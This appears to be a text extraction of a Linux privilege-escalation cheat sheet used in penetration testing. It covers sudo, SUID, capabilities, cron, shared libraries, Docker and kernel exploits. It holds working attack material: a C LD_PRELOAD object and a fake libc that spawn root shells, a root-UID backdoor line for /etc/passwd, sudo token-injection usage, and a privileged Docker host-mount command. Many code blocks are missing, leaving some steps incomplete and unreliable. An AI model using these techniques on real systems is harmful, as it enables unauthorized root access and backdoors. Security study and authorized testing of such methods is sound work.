Linux Privilege Escalation 1714714339
Linux Privilege Escalation 1714714339
Summary
Tools
Checklist
Looting for passwords
Files containing passwords
Old passwords in /etc/security/opasswd
Last edited files
In memory passwords
Find sensitive files
SSH Key
Sensitive files
SSH Key Predictable PRNG (Authorized_Keys) Process
Scheduled tasks
Cron jobs
Systemd timers
SUID
Find SUID binaries
Create a SUID binary
Capabilities
List capabilities of binaries
Edit capabilities
Interesting capabilities
SUDO
NOPASSWD
LD_PRELOAD and NOPASSWD
Doas
sudo_inject
CVE-2019-14287
GTFOBins
https://md2pdf.netlify.app/ Page 1 of 21
Linux - Privilege Escalation 18/12/2023, 08:37
Wildcard
Writable files
Writable /etc/passwd
Writable /etc/sudoers
NFS Root Squashing
Shared Library
ldconfig
RPATH
Groups
Docker
LXC/LXD
Hijack TMUX session
Kernel Exploits
CVE-2022-0847 (DirtyPipe)
CVE-2016-5195 (DirtyCow)
CVE-2010-3904 (RDS)
CVE-2010-4258 (Full Nelson)
CVE-2012-0056 (Mempodipper)
Tools
There are many scripts that you can execute on a linux machine which automatically enumerate
sytem information, processes, and files to locate privilege escalation vectors. Here are a few:
wget "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh"
curl "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh"
./linpeas.sh -a #all checks - deeper system enumeration, but it takes longer to com
./linpeas.sh -s #superfast & stealth - This will bypass some time consuming checks.
./linpeas.sh -P #Password - Pass a password that will be used with sudo -l and brut
wget "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/maste
curl "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/maste
https://md2pdf.netlify.app/ Page 2 of 21
Linux - Privilege Escalation 18/12/2023, 08:37
./lse.sh -l1 # shows interesting information that should help you to privesc
./lse.sh -l2 # dump all the information it gathers about the system
Checklists
https://md2pdf.netlify.app/ Page 3 of 21
Linux - Privilege Escalation 18/12/2023, 08:37
List current users history files (i.e .bash_history, .nano_history, .mysql_history , etc.)
Basic SSH checks
Privileged access:
Which users have recently used sudo
Determine if /etc/sudoers is accessible
Determine if the current user has Sudo access without a password
Are known 'good' breakout binaries available via Sudo (i.e. nmap, vim etc.)
Is root's home directory accessible
List permissions for /home/
Environmental:
Display current $PATH
Displays env information
Jobs/Tasks:
List all cron jobs
Locate all world-writable cron jobs
Locate cron jobs owned by other users of the system
List the active and inactive systemd timers
Services:
List network connections (TCP & UDP)
List running processes
Lookup and list process binaries and associated permissions
List inetd.conf/xined.conf contents and associated binary file permissions
List init.d binary permissions
Version Information (of the following):
Sudo
MYSQL
Postgres
Apache
Checks user config
Shows enabled modules
Checks for htpasswd files
View www directories
Default/Weak Credentials:
https://md2pdf.netlify.app/ Page 4 of 21
Linux - Privilege Escalation 18/12/2023, 08:37
:warning: Treat your opasswd file like your /etc/shadow file because it will end up containing user
password hashes
https://md2pdf.netlify.app/ Page 5 of 21
Linux - Privilege Escalation 18/12/2023, 08:37
In memory passwords
SSH Key
Sensitive files
Steps
1. Get the authorized_keys file. An example of this file would look like so:
https://md2pdf.netlify.app/ Page 6 of 21
Linux - Privilege Escalation 18/12/2023, 08:37
2. Since this is an ssh-dss key, we need to add that to our local copy of /etc/ssh/ssh_config
and /etc/ssh/sshd_config :
4. Grab the first 20 or 30 bytes from the key file shown above starting with the "AAAA..."
portion and grep the unpacked keys with it as:
And you should connect without requiring a password. If stuck, the -vvv verbosity should
provide enough details as to why.
Scheduled tasks
Cron jobs
Check if you have access with write permission on these files.
Check inside the file, to find other paths with write permissions.
https://md2pdf.netlify.app/ Page 7 of 21
Linux - Privilege Escalation 18/12/2023, 08:37
/etc/init.d
/etc/cron*
/etc/crontab
/etc/cron.allow
/etc/cron.d
/etc/cron.deny
/etc/cron.daily
/etc/cron.hourly
/etc/cron.monthly
/etc/cron.weekly
/etc/sudoers
/etc/exports
/etc/anacrontab
/var/spool/cron
/var/spool/cron/crontabs/root
crontab -l
ls -alh /var/spool/cron;
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny*
# print both commands and file system events and scan procfs every 1000 ms (=1sec)
./pspy64 -pf -i 1000
Systemd timers
3 timers listed.
https://md2pdf.netlify.app/ Page 8 of 21
Linux - Privilege Escalation 18/12/2023, 08:37
SUID
SUID/Setuid stands for "set user ID upon execution", it is enabled by default in every Linux
distributions. If a file with this bit is run, the uid will be changed by the owner one. If the file
owner is root , the uid will be changed to root even if it was executed from user bob . SUID
bit is represented by an s .
╭─swissky@lab ~
╰─$ ls /usr/bin/sudo -alh
-rwsr-xr-x 1 root root 138K 23 nov. 16:04 /usr/bin/sudo
Function Description
setreuid() sets real and effective user IDs of the calling process
Capabilities
╭─swissky@lab ~
╰─$ /usr/bin/getcap -r /usr/bin
https://md2pdf.netlify.app/ Page 9 of 21
Linux - Privilege Escalation 18/12/2023, 08:37
/usr/bin/fping = cap_net_raw+ep
/usr/bin/dumpcap = cap_dac_override,cap_net_admin,cap_net_raw+eip
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/rlogin = cap_net_bind_service+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/rsh = cap_net_bind_service+ep
/usr/bin/rcp = cap_net_bind_service+ep
Edit capabilities
Interesting capabilities
Having the capability =ep means the binary has all the capabilities.
Alternatively the following capabilities can be used in order to upgrade your current privileges.
https://md2pdf.netlify.app/ Page 10 of 21
Linux - Privilege Escalation 18/12/2023, 08:37
CAP_CHOWN Allow user to make arbitrary change to files UIDs and GIDs
SUDO
NOPASSWD
Sudo configuration might allow a user to execute some command with another user's privileges
without knowing the password.
$ sudo -l
https://md2pdf.netlify.app/ Page 11 of 21
Linux - Privilege Escalation 18/12/2023, 08:37
In this example the user demo can run vim as root , it is now trivial to get a shell by adding an
ssh key into the root directory or by calling sh .
Compile the following shared object using the C code below with gcc -fPIC -shared -o
shell.so shell.c -nostartfiles
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
Execute any binary with the LD_PRELOAD to spawn a shell : sudo LD_PRELOAD=
<full_path_to_so_file> <program> , e.g: sudo LD_PRELOAD=/tmp/shell.so find
Doas
There are some alternatives to the sudo binary such as doas for OpenBSD, remember to
check its configuration at /etc/doas.conf
sudo_inject
https://md2pdf.netlify.app/ Page 12 of 21
Linux - Privilege Escalation 18/12/2023, 08:37
Using https://github.com/nongiach/sudo_inject
$ sudo whatever
[sudo] password for user:
# Press <ctrl>+c since you don't have the password.
# This creates an invalid sudo tokens.
$ sh exploit.sh
.... wait 1 seconds
$ sudo -i # no password required :)
# id
uid=0(root) gid=0(root) groups=0(root)
CVE-2019-14287
GTFOBins
GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local
security restrictions.
The project collects legitimate functions of Unix binaries that can be abused to break out
restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse
shells, and facilitate the other post-exploitation tasks.
Wildcard
https://md2pdf.netlify.app/ Page 13 of 21
Linux - Privilege Escalation 18/12/2023, 08:37
By using tar with –checkpoint-action options, a specified action can be used after a checkpoint.
This action could be a malicious shell script that could be used for executing arbitrary
commands under the user who starts tar. “Tricking” root to use the specific options is quite
easy, and that's where the wildcard comes in handy.
# vulnerable script
tar cf archive.tar *
Tool: wildpwn
Writable files
find / -writable ! -user `whoami` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -
find / -perm -2 -type f 2>/dev/null
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null
EXEC :
./etc/sysconfig/network-scripts/ifcfg-1337
src :
https://vulmon.com/exploitdetailsqidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1
324ffa4f
Writable /etc/passwd
https://md2pdf.netlify.app/ Page 14 of 21
Linux - Privilege Escalation 18/12/2023, 08:37
Then add the user hacker and add the generated password.
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
E.g: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
Alternatively you can use the following lines to add a dummy user without a password.
WARNING: you might degrade the current security of the machine.
Writable /etc/sudoers
https://md2pdf.netlify.app/ Page 15 of 21
Linux - Privilege Escalation 18/12/2023, 08:37
showmount -e 10.10.10.10
# create dir
mkdir /tmp/nfsdir
# mount directory
mount -t nfs 10.10.10.10:/shared /tmp/nfsdir
cd /tmp/nfsdir
Shared Library
ldconfig
Identify shared libraries with ldd
$ ldd /opt/binary
linux-vdso.so.1 (0x00007ffe961cd000)
vulnlib.so.8 => /usr/lib/vulnlib.so.8 (0x00007fa55e55a000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fa55e6c8000)
RPATH
https://md2pdf.netlify.app/ Page 16 of 21
Linux - Privilege Escalation 18/12/2023, 08:37
/lib/ld-linux.so.2 (0x005bb000)
By copying the lib into /var/tmp/flag15/ it will be used by the program in this place as
specified in the RPATH variable.
Then create an evil library in /var/tmp with gcc -fPIC -shared -static-libgcc -Wl,--
version-script=version,-Bstatic exploit.c -o libc.so.6
#include<stdlib.h>
#define SHELL "/bin/sh"
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, vo
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
Groups
Docker
Mount the filesystem in a bash container, allowing you to edit the /etc/passwd as root, then
add a backdoor account toor:password .
Almost similar but you will also see all processes running on the host and be connected to the
same NICs.
https://md2pdf.netlify.app/ Page 17 of 21
Linux - Privilege Escalation 18/12/2023, 08:37
docker run --rm -it --pid=host --net=host --privileged -v /:/host ubuntu bash
Or use the following docker image from chrisfosterelli to spawn a root shell
sh-5.0# id
uid=0(root) gid=0(root) groups=0(root)
LXC/LXD
The privesc requires to run a container with elevated privileges and mount the host filesystem
inside.
╭─swissky@lab ~
╰─$ id
uid=1000(swissky) gid=1000(swissky) groupes=1000(swissky),3(sys),90(network),98(power),
Build an Alpine image and start it using the flag security.privileged=true , forcing the
container to interact as root with the host filesystem.
https://md2pdf.netlify.app/ Page 18 of 21